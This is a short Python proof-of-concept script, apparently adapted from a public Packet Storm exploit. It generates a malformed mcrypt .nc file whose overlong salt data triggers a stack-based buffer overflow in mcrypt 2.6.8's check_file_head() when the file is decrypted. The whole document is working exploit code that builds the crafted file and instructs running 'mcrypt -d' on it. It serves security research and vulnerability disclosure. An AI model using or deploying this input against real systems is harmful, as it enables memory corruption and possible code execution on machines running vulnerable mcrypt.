#!/usr/bin/env python
#
# Modified version of
#   http://packetstormsecurity.org/files/116268/mcrypt-2.6.8-Buffer-Overflow-Proof-Of-Concept.html
# that shows how we can overwrite some more buffers.
# Original header follows.

# mcrypt <= 2.6.8 stack-based buffer overflow poc
# http://mcrypt.sourceforge.net/
# (the command line tool, not the library)
#
# date: 2012-09-04
# exploit author: _ishikawa
# tested on: ubuntu 12.04.1
# tech: it overflows in check_file_head() when decrypting .nc files with too long salt data
#
# shout-outs to all cryptoparty people

import sys

sprawl = 100
foo = 100
gibson = "\x00\x6d\x03" # file magic
gibson += "\x40" # flags
#gibson += "\x73\x65\x72\x70\x65\x6e\x74\x00" # algo, "serpent"
gibson += ("B" * foo)
gibson += "\x20\x00" # keylen, word
#gibson += "\x63\x62\x63\x00" # mode, "cbc"
#gibson += "\x6d\x63\x72\x79\x70\x74\x2d\x73\x68\x61\x31\x00" # keymode, "mcrypt-sha1"
gibson += ("C" * 0) + chr(0)
gibson += ("D" * foo)
gibson += chr(sprawl)
gibson += ("A" * sprawl)
gibson += (chr(0) * 3)

try:
  count0 = open("cyberpunk.nc", "wb")
  count0.write(gibson)
  count0.close()
except IOError:
  print "file error"
  sys.exit(1)

print "now run  mcrypt -d cyberpunk.nc"